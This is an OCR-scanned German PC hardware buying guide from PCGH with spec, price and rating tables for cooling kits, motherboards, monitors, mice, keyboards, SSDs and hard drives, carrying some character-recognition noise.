EK Water Blocks EK-Kit $240 n. verfüg. 282 x 121 x 52 mm 49,2 *C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit Ca. € 240,- | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 °C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 

Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! * Messung mit analoger Ansteuerung. Bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche. 


Mainboards für AMD-Prozessoren 


Sockel FM2+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* Ш] PCGH-Preisvergleich 
Asus A88X-Pro Ca. € 110,- | AB8X/ATX x16 (2), x1 (2), PCI (2) | 4 x (6 х)/6 х 6Gb/s BIOS-Flashback 38,1/173,2 Wat 1,66 | 03/2014 | www.pcgh.de/preis/1001720 
Asrock ЕМ2А88Х+ Killer Ca. € 100,- | A88X/ATX x16 (2), x1 (2), PCI (3) | 4x 2 x)/8 x 6Gb/s Killer E2200 LAN | 25,1/163,3 Wat 1,67 | 03/2014 | www.pcgh.de/preis/1051505 
)ніташеге Gigabyte G1.Sniper A88X Са. Є 95,- | A88X/ATX x16 (2), x1 (3), PCI (2) | 2 х (2 x)/8 х 666/5 HQ-D/A-Wandler | 34,4/172,2 Wat 1,69 | 03/2014 | www.pcgh.de/preis/994595 
Sockel AM3+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* Ё PCGH-Preisvergleich 
Asrock 990FX Killer Ca. € 120,- | 990/ATX x16 (3), x1 (2), PCI (0) | 4 x (2 x)/5 x 6Gb/s M.2-Schnittstelle | 60,7/287,4 Wat 1,76 | 09/2014 | www.pcgh.de/preis/1051502 
Asus Crosshair Formula-Z Ca. € 230,- | 990/ATX x16 (4), x1 (2), PCI (0) | 4 (2 x)/8 х 6Gb/s Gut übertaktbar | 67,0/290,4 Wat 1,84 |09/2014 | www.pcgh.de/preis/823995 
Asus 990FX Sabertooth Ca. € 170,- | 990/ATX x16 (4), x1 (1), PCI (1) | 4 x (2 x)/8 х 6Gb/s E-SATA 81,4/334,7 Wat 1,89 | 09/2014 | www.pcgh.de/preis/827096 
TET Asus M5A97 R2.0 Ca.€85, | 970/ATX x16 (2), x1 (2), PCI (2) | 2 x (4 x)/6 x 6Gb/s BIOS-Flashback 58,8/277,6 Wat 1,89 | 01/2013 | www.pcgh.de/preis/818969 


* Leistungsaufnahme des ganzen PCs (A10-850K bzw. FX-8350 + HD 7970; 2x 2 GiB DDR3-1333) bei Windows-Leerlauf/Stabilitätstest 


Mainboards für Intel-Prozessoren 


Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Gigabyte Z170X-Gam. G1 | Ca. € 570,- | Z170/E-ATX | x16*/x0*/x16*/x0* & x1/x1/x1 | 3.0x4**; 3.0x4** | Sound Core | 2/0x3.1; 7/4x3.0; 10x | 6 (2x PWM) 2,26 0/2015 | www.pcgh.de/preis/1306474 
Asus Maximus VIII Ranger | Ca. € 190,- | Z170/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 7 (7x PWM) 2,33 /2015 | www.pcgh.de/preis/1306336 
Asus Z170-Deluxe Ca. € 300,- | Z170/ATX | x16*/x0* & x1/x1/x1/x1/x2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3.0; 8x | 7 (6x PWM) 2,34 0/2015 | www.pcgh.de/preis/1306329 
EVGA 7170 Classified п. verfüg. | Z170/E-ATX | x16*/x0*/x0*/x0*/x0* & x4 3.0x4**; 3.0x1 Sound Core | 0/2x3.1; 6/2x3.0; 8x | 7 (7x PWM) 2,43 0/2015 | www.pcgh.de/preis/1306951 
Gigabyte Z170X-Gam. З | Са. € 140,- | 2170/АТХ | x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1150 | 2/0x3.1; 3/4x3.0; 6x | 5 (1x PWM) 2,55 12015 | www.pcgh.de/preis/1306467 
MSI Z170A Gaming M7 Ca. € 210,- | Z170/ATX | x16*/x0* & x1/x0*/x0*/x0*/x4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 5 (3x PWM) 2,56 0/2015 | www.pcgh.de/preis/1306689 
ID T Asrock 2170 Gaming KA | Са. € 120,- | Z170/ATX | x16 & x1/x1/x4/x 3.0x4 ALC1150 | 0/0x3.1; 6/2x3.0; 6x | 6 (6x PWM) 2,61 /2015 | www.pcgh.de/preis/1306625 
Asrock 7170 Extreme4 Ca. € 140,- | Z170/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4** ALC1150 | 2/0x3.1; 6/2x3,0; 6x | 5 (4х PWM) 2,64 08/2016 | www.pcgh.de/preis/1306610 
MSI 2170A Gaming Pro п. verfüg. | 2170/АТХ x16*/x0* & x1/x1/x1/x4 3.0x4** ALC1150 | 2/0x3.1; 4/2x3.0; 6x | 5 (2х PWM) 2,64 /2015 | www.pcgh.de/preis/1306786 
Supermicro С72170-50 Ca. € 230,- | 2170/АТХ x16*/x0*/x0* & x1/x4/x1 3.0x4 ALC898 1/0x3.1; 2/4x3.0; 6x | 5 (5х PWM) 2,79 0/2015 | www.pcgh.de/preis/1307677 
MSI H170A PC Mate Ca. € 110,- | Н170/АТХ x16 & х0*/х0*/х0*/х4* 3.0х4** ALC887 2/0x3.1; 4/2x3,0; 6x | 4 (2x PWM) 2,82 08/2016 | www.pcgh.de/preis/1319556 
Biostar 2170GT7 Ca. € 160,- | 2170/АТХ x16*/x0* & х1/х0*/х4*/х0*/х4 | 3.0x4** ALC898 1/0x3.1; 5/2x3,0; 6x | 5 (5x PWM) 2,92 08/2016 | www.pcgh.de/preis/1390374 
ПТМ Asrock B150M Pro4S Са. €75,- |BIBO/JATX | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) 2,96 08/2016 | www.pcgh.de/preis/1318332 
Super Micro C7H170-M Ca. € 160,- | H170/pATX_| x16 & x4/x1 3.0x4 ALC1150 | 0/0x3.1; 4/2x3,0; 6x | 5 (bx PWM) 3,10 08/2016 | www.pcgh.de/preis/1326288 
Asus H110M-Plus Са. € 70,- | H110/UATX | x16 & x1(2.01)/x1(2.01) - ALC887 2/0x3.1; 2/2x3,0; 4x | 2 (2x PWM) 3,48 08/2016 | www.pcgh.de/preis/1350313 
Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock X99 Taichi Ca. € 270,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,83 0/2016 | www.pcgh.de/preis/1462624 
Asus Strix X99 Gaming Ca. € 300,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x PWM) 1,84 0/2016 | www.pcgh.de/preis/1441449 
Asrock X99 Extreme4/3.1 | Ca. € 250,- | X99/ATX x16/x16/x0* & x4/x1 3.0x4* ALC1150 |/x3.1; 4/2x3,0; 10x | 6 (2x PWM) 1,85 0/2016 | www.pcgh.de/preis/1252790 
Gigabyte X99-Ultra Gam. | Ca. € 290,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,88 0/2016 | www.pcgh.de/preis/1446348 
ПІТ м X99A Raider Ca. € 200,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 4/12x3,0; 10x | 5 (2x PWM) 1,95 0/2016 | www.pcgh.de/preis/1247988 
Asus X99-E Ca. € 250,- | X99/ATX x 16/x16/x0* & x1/x1 3.0x4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (5х PWM) 1,95 0/2016 | www.pcgh.de/preis/1441447 
MSI X99A Gam. Pro Carb. | Ca. € 310,- | X99/ATX x16*/x16/x0*/x0* & x1/x1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5x3,0; 10x | 5 (1x PWM) 1,96 0/2016 | www.pcgh.de/preis/1443681 
EVGA X99 FTW K п. verfüg. | X99/E-ATX | x16*/x0*/x0*/x16*/x0* & x1 3.0x4* ALC1150 | 2/x3.1; 4/4x3,0; 10x | 7 (7x PWM) 2,10 0/2016 | www.pcgh.de/preis/1452679 
Sockel 1150 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock 797 Extreme6 n.verfüg. | Z97/ATX x16*/x0* & x1/x1*/x2 3.0x4*; 2.0x2** | ALC1150 | 0x3.1; 6/4x3.0; 10x | 6 (2x4-Pin) 1,90 | 06/2015 | www.pcgh.de/preis/1106887 
Asus Z79-A/USB 3.1 n. verfüg. | Z97/ATX x16*/x0* & x0*/x0*/x0* 2.0х2* ALC892 2x3.1;4/2x3.0;6x | 6 (6x4-Pin) 2,00 06/2015 | www.pcgh.de/preis/1238117 
Gigabyte G1.Sniper Z97 | n.verfüg. | Z97/ATX x16*/x0* & х1/х1/х1 - Sound Core | 0x3.1; 4/2х3.0; 6x | 4 (4х4-Ріп) 2,13 06/2015 | www.pcgh.de/preis/1107852 
Biostar Gaming Z97X n.verfüg. | Z97/ATX x16*/x0*/x0* & x1/x1/x1 2.0x2** ALC892 2х3.1; 4/2х3.0; 8х |6 (6x4-Pin) 2,30 06/2015 | www.pcgh.de/preis/1230180 
MSI 7975 SLI Krait Edition | n. verfüg. | Z97/ATX x16*/x0* & x1/x1/x1 20x2** ALC892 0x3.1; 4/2x3.0; 6x 5 (5x4-Pin) 2,37 07/2015 | www.pcgh.de/preis/1153578 
Gigabyte GA-H97-D3H Ca. € 100,- | H97/ATX x16 & х0*/х4*/х0* 20x2** ALC1150 | 0x3.1; 4/2x3.0; 6x 5 (5x4-Pin) 2,87 07/2015 | www.pcgh.de/preis/1107992 


* PCI-E-Lane-Sharing ** M2 shared mit SATA ` *** M.2 shared mit SATA und mit PCI-E-Slot(s) 
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SERVICE | Einkaufsführer 


Einkaufsführer LCDs & Eingabegeräte ne 


WELT Т PREIS-LEISTUNGS-TIPP [ERS o SPAR-TIPP 


Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 


Asus MG248Q Ca. € 329,- 24 Zo 144 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Pane Freesync 1,66 | 06/2016 | www.pcgh.de/preis/1419189 

liyama GB2488HSU-B2 Ca. € 260,- 24 Zo 144 Hertz 5 ms 12ms 78 bis 367 cd/m? N-Pane Freesync 1,69 | 05/2016 | www.pcgh.de/preis/1367528 
Acer XF240H bmjdpr Ca. € 253,- 24 Zo 144 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 

AOC G2460PF Ca. € 250,- 24 Zo 144 Hertz 6 ms 4ms 156 bis 358 cd/m? N-Pane Freesync 1,77 05/2016 www.pcgh.de/preis/1318972 «ТҮҢ 
Asus VG278HV Ca. € 336,- 27 Zo 144 Hertz 5 ms 9 ms 58 bis 305 cd/m? N-Pane - 1,79 | 05/2016 | www.pcgh.de/preis/1336350 

Beng Zowie XL2540 Ca. € 480,- 24,5 Zoll 240 Hertz 5 ms 10 ms 40 bis 390 cd/m? N-Pane - 1,83 02/2017 | www.pcgh.de/preis/1534083 

Samsung S27E591C Ca. € 320,- 27 Zo 75 Hertz 12 ms 2ms 40 bis 355 cd/m? MVA-Panel |- 1,92 05/2016 | www.pcgh.de/preis/1240823 

WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in 

Asus ROG PG279Q Ca. € 824,- 27 Zo 165 Hertz 6 ms 9 ms 50 bis 300 cd/m? PS-Panel G-Sync 1,79 12/2015 | www.pcgh.de/preis/1275089 

Benq BL2710PT Ca. € 419,- 27 Zo 60 Hertz 4ms 19 ms 65 bis 382 cd/m? AHVA-Panel | - 1,86 | 03/2014 | www.pcgh.de/preis/978482 
Asus MG279Q Ca. € 599,- 27 Zo 144 Hertz 8ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/121 5454 Hiriunre( 
Benq XL2730Z Ca. € 580,- 27 Zo 144 Hertz 8 ms 8 ms 52 bis 353 cd/m? N-Pane Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 

Acer T272HUL bmidpcz Ca. € 550,- 2770 60 Hertz 5ms 19 ms 74 bis 312 cd/m? AHVA-Panel | - 2,04 | 03/2014 | www.pcgh.de/preis/997601 

Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

iyama X4071UHSU-B1 Ca. € 563,- 40 70 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |- 1,81 11/2016 | www.pcgh.de/preis/1362847 «Т ТЛ. 
Asus PB287Q Ca. € 400,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? N-Pane - 1,87 07/2014 www.pcgh.de/preis/1094194 «ТҮҢ 
Asus PB279Q Ca. € 599,- 2770 60 Hertz 6 ms 9ms 54 bis 266 cd/m2 PS-Panel - 2,04 | 01/2015 | www.pcgh.de/preis/1123437 

LG 27MU67-B Ca. € 522,- 27 Zo 60 Hertz 8ms 11 ms 72 bis 230 cd/m? PS-Panel Freesync 2,12 09/2015 | www.pcgh.de/preis/1273811 

21:9 Preis Auflósung Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in 

Asus ROG PG348Q Са. € 1.200,- | 3.440 x 1.440 | 100 Hertz 6 ms 4 ms 31 bis 324 cd/m? PS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 

LG 34UC98-W Ca. € 896,- 3.440 x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? PS-Panel Freesync 1,76 | 07/2016 | www.pcgh.de/preis/1395258 

Samsung S34E790C Ca. € 707,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |- 1,76 04/2016 | www.pcgh.de/preis/1195794 

Acer Predator X34 Са. € 1.156,- | 3.440 x 1.440 | 100 Hertz 12 ms 8 ms 19 bis 306 cd/m? PS-Panel G-Sync 1,89 04/2016 | www.pcgh.de/preis/1257523 

LG 34UM67-P Ca. € 449,- 2.560 x 1.080 | 75 Hertz 10 ms 11 ms 52 bis 320 cd/m? PS-Panel Freesync 2,05 05/2015 | www.pcgh.de/preis/1218026 


Modell Preis Kabellänge | Tasten Abtastung Auflösung | Gewicht Ergonomie Test in 

Roccat Nyth Ca. € 125,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 130 Gramm Sehr gu 1,16 11/2015 | www.pcgh.de/preis/1300527 

Roccat Tyon Ca. € 100,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 126 Gramm Sehr gu 1,32 12/2014 | www.pcgh.de/preis/1154844 

Logitech G900 Chaos Spectrum | Ca. € 140,- | Schnurlos 10 + Scrollrad | Optisch (LED) | 12.000 Dpi | 107 Gramm Sehr gu 1,33 | 07/2016 | www.pcgh.de/preis/1414931 

Asus ROG Spatha Ca. € 160,- | Schnurlos 11 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 133 Gramm Sehr gu 1,36 10/2016 | www.pcgh.de/preis/1241345 

Razer Mamba Tournament Edition | Ca. € 80,- | 210 cm 6 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 133 Gramm Sehr gut 1,39 01/2016 | www.pcgh.de/preis/1310517 

Logitech G502 Proteus Core Ca.€70,- | 180 ст 9 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 128 bis 146 Gramm Sehr gu 1,42 | 07/2014 | www.pcgh.de/preis/1098847 

Mionix Naos 8200 Са. Є 75,- | 200 ст 6 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 105 Gramm Sehr gu 1,43 12/2014 | www.pcgh.de/preis/900404 
Steelseries Sensei MLG Edition | №. verfügb. | 200 cm 7 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 105 Gramm Sehr gut 1,43 12/2012 | www.pcgh.de/preis/871876 

Roccat Kone XTD Ca.€75- | 180 ст 7 +Scrollrad | Optisch (Laser) | 8.200 Dpi | 120 bis 140 Gramm Sehr gu 1,43 12/2012 | www.pcgh.de/preis/841868 

Razer Ouroboros Са. € 120,- | Schnurlos |8 + Scrollrad | Laser und LED | 8.200 Dpi | 117/147 Gramm mit Akku | Sehr gu 1,43 | 07/2013 | www.pcgh.de/preis/815637 

Rapoo Vpro VR900 Са. Є 35,- | 180 ст 7 + Scrollrad | Optisch (Laser) 8.200 Dpi | 115 Gramm Sehr gu 1,46 12/2014 | www.pcgh.de/preis/3939231 [PY нїїїшһге 4 
Mad Catz R.A.T. Tournament Ed. | Са. Є 70,- | 180 cm 9 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 91 Gramm Sehr gut 1,46 07/2014 | www.pcgh.de/preis/1063444 


Tastaturen 
Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher Test in PCGH-Preisvergleich 


Roccat Isku N. verfügb. | Voll, 6 Helligkeitsstufen | - Ja (integriert) 15 + 3 Daumenta. alja (k. A.) 1,42 11/2011 | www.pcgh.de/preis/648485 

Asus Cerberus Ca.€50,- | Voll, zweif Farben - Ja (integriert) 6 a/ja (k. A.) 1,86 10/2016 www.pcgh.de/preis/1338736 «ТҮҢ 
Sharkoon Skiller Pro+ Ca.€35,- | Voll, sieben Farben - Ja (integriert) 9 + 3 Profilwahlta. а/ја (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 

t esports Challenger Prime Са. €30,- | Voll, drei Farben - Ja (integriert) 12 + Drehregler а/а (k. A.) 1,98 10/2016 | www.pcgh.de/preis/1183433 «ды 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | МХ Black/Red/Blue | Ja/ja (2 MByte) 1,26 | 06/2016 | www.pcgh.de/preis/1388126 

Roccat Ryos MK Pro Ca. € 150,- | Voll, 6 Helligkeitsstufen | 2 x USB 2.0, Audio | Cherry MX Brown | MX Black/Red/Blue | Ja/ja (2 MByte) 1,36 | 12/2014 | www.pcgh.de/preis/996208 

Logitech G910 Orion Spark Ca. € 200,- | RGB-Einzeltastenbel. Keine Romer G (taktil) Nur ein Modell a/ja (k. A.) 1,39 03/2016 | www.pcgh.de/preis/1167372 

Sharkoon Shark Zone MK 80 RGB | Ca. € 135,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Brown Kailh RGB Brown/Red | Ja/ja (k. A.) 1,40 01/2013 www.pcgh.de/preis/1369386 «ТҮҢ 
Gigabyte Aivia Osmium Ca. € 140,- | Ја, Scrollrad, stufenlos | 1 x USB 3.0, Audio | Cherry MX Red MX Brown alja (k. A.) 1,43 03/2016 | www.pcgh.de/preis/818661 

Corsair Strafe RGB MX Silent Ca. € 180,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 

Qpad MK 90 Са. € 100,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black a/ja (k. A.) 1,45 11/2015 | www.pcgh.de/preis/1258778 

Razer Black Widow Chroma Ca. € 165,- | RGB-Einzeltastenbel. 1xUSB 2.0, Audio | Razer Green (taktil) | Razer Orange аЛа (k. A.) 1,46 12/2014 | www.pcgh.de/preis/1154331 

Tt esports Poseidon Z RGB Ca. € 105,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB alja (512 kByte) 1,47 10/2016 www.pcgh.de/preis/1462098 ТТ 
Corsair K70 RGB Rapid Fire Ca. € 180,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Ch. MX Speed RGB | Cherry MX Speed RGB | Ja/ja (ein Profil) 1,49 | 06/2016 | www.pcgh.de/preis/1431774 

G.Skill Ripjaws KM780 RGB Ca. € 135,- | RGB-Einzeltastenbel. 1 x USB 2.0, Audio | Cherry MX RGB Br. | MX RGB Brown/Red | Ja/ja (512 kByte) 1,52 03/2016 | www.pcgh.de/preis/1332861 
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Einkaufsführer | SERVICE 


Einkaufsführer SSDs & Festplatten 


Preise: Stand 19.12.2016 


(ШИТ f: PREIS-LEISTUNGS-TIPP. 


[ELI f SPAR-TIPP 


Solid State Drives (SATA 3/2,5 Zoll) 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Samsung SSD 850 Evo Ca. € 95,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 08/2015 | www.pcgh.de/preis/1194261 
Plextor M6 Pro Са. € 130,- | 238 GiB/256 GB 513/471 MB/s 88.000 81 Sekunden | 5 Jahre 2,02 08/2015 | www.pcgh.de/preis/1150916 
Adata SX 930 Са. € 100,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 12/2015 | www.pcgh.de/preis/1299666 
Ir E Crucial MX200 Ca. € 90,- 233 GiB/250 GB 521/475 MB/s 77.000 76 Sekunden | 3 Jahre 2,08 08/2015 | www.pcgh.de/preis/1215088 
Sandisk Extreme Pro N. verfügbar | 224 GiB/240 GB 526/495 MB/s 44.000 92 Sekunden | 10 Jahre 2,08 | 07/2016 | www.pcgh.de/preis/1126455 
Kingston HyperX Sav. SSD Kit | Ca. € 120,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
OCZ Vector 180 Ca.€110,- | 224 GiB/240 GB 509/489 MB/s 85.000 90 Sekunden | 5 Jahre 2712 08/2015 | www.pcgh.de/preis/1230956 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Tru TE Samsung SSD 850 Evo Ca.€165,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba Q300 Pro Са. € 220,- | 477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Crucial MX200 N. verfügbar | 466 GiB/500 GB 519/475 MB/s 88.000 77 Sekunden | 3 Jahre 1,98 08/2015 | www.pcgh.de/preis/1215110 
Sandisk Extreme Pro Са. € 205,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden 10 Jahre 2,07 07/2016 | www.pcgh.de/preis/1126463 
ШТУ Mushkin Striker Са. Є 120,- | 447 GiB/480 GB 529/509 MB/s 49.000 82 Sekunden | 3 Jahre 2,07 | 07/2016 | www.pcgh.de/preis/1388029 
OCZ Vector 180 Са. € 190,- | 447 GiB/480 GB 513/483 MB/s 91.000 90 Sekunden | 5 Jahre 2,14 08/2015 | www.pcgh.de/preis/1230954 
Sandisk Ultra II Са. Є 120,- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 | 07/2016 | www.pcgh.de/preis/1154832 
Crucial BX100 Са. € 160,- | 466 GiB/500 GB 526/435 MB/s 72.000 75 Sekunden | 3 Jahre 2,26 08/2015 | www.pcgh.de/preis/1215184 
Western Digital WD Blue SSD Са. Є 145,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 online | www.pcgh.de/preis/1521437 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Samsung SSD 850 Pro Ca.€450,- | 954 GiB/1.024 GB | 528/502 MB/s 90.000 73 Sekunden 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.500,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Samsung SSD 850 Evo Са. € 340,- | 932 GiB/1.000 GB 521/503 MB/s 90.000 73 Sekunden | 5 Jahre 1,88 08/2015 | www.pcgh.de/preis/1194264 
Crucial MX200 Ca.€330,- | 932 GiB/1.000 GB 516/480 MB/s 88.000 76 Sekunden | 3 Jahre 1597 08/2015 | www.pcgh.de/preis/1215111 
Mushkin Reactor Са. € 250,- | 932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Са. € 515,- 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
OCZ Vector 180 Ca.€365,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2/15 08/2015 | www.pcgh.de/preis/1230950 
Corsair Neutron XT Ca.€460,- | 894 GiB/960 GB 527/484 MB/s 49.000 94 Sekunden | 5 Jahre 2,14 | 07/2016 | www.pcgh.de/preis/1214437 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 08/2015 | www.pcgh.de/preis/1215186 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 
Solid State Drives (M.2/PCle 3.0 x4) 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
)ніташаге Toshiba OCZ RD400 Са. € 300,- | 477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 1/2016 | www.pcgh.de/preis/1448318 
Samsung SSD 950 Pro N. verfügbar | 477 GiB/512 GB 2.212/1.475 MB/s 81.000 36 Sekunden | 5 Jahre 1,93 2/2015 | www.pcgh.de/preis/1327973 
Zotac Sonix Са. € 340,- |2.250/1.330 MB/s | 477 GiB/512 GB 95.000 56 Sekunden | 3 Jahre 2,04 1/2016 | www.pcgh.de/preis/1406123 
Samsung SSD 950 Pro Са. € 200,- | 238 GiB/256 GB 2.098/917 MB/s 73.000 45 Sekunden | 5 Jahre 2/17 2/2015 | www.pcgh.de/preis/1327925 
Samsung SM951 N. verfügbar | 238 GiB/256 GB 1.960/1.220 MB/s 68.000 43 Sekunden | 3 Jahre 2725 2/2015 | www.pcgh.de/preis/1215594 
Kingston Hyper X Predator Са. € 350,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 2/2015 | www.pcgh.de/preis/1247224 
IT T Intel SSD 600p Са. € 180,- | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 online | www.pcgh.de/preis/1491162 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD 10р5** Коріегќеѕї Herstellergarantie ШТ PCGH-Preisvergleich 
Samsung SSD 960 Pro N. verfügbar | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 2/2016 | www.pcgh.de/preis/1511187 
INEU Samsung SSD 960 Evo Ca.€450,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 179 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Ca. € 880,- 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 08/2015 | www.pcgh.de/preis/1227662 


* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 


Festplatten (3,5 Zoll) 


Bis 8.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Toshiba MG04ACA600E Ca. € 420,- | 5.586 GiB/6.000 GB | 7.200 | 0,8/1,4 Sone 2,0/5,0 ms 66/163 MB/s 1,71 08/2015 | www.pcgh.de/preis/493352788 
Toshiba MCO4ACA500E N. verfügb. | 4.548 GiB/5.000 GB | 7.200 | 0,7/1,3 Sone 2,0/13,4 ms 66/163 MB/s 1,88 08/2015 | www.pcgh.de/preis/1145736 
U Seagate Archive HDD 8TB Ca. € 250,- | 7.452 GiB/8.000 СВ | 5.900 | 0,5/0,6 Sone 3,5/14,0 ms 43/136 MB/s 2,23 08/2015 | www.pcgh.de/preis/1204027 
Altes Testsystem 
Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** 
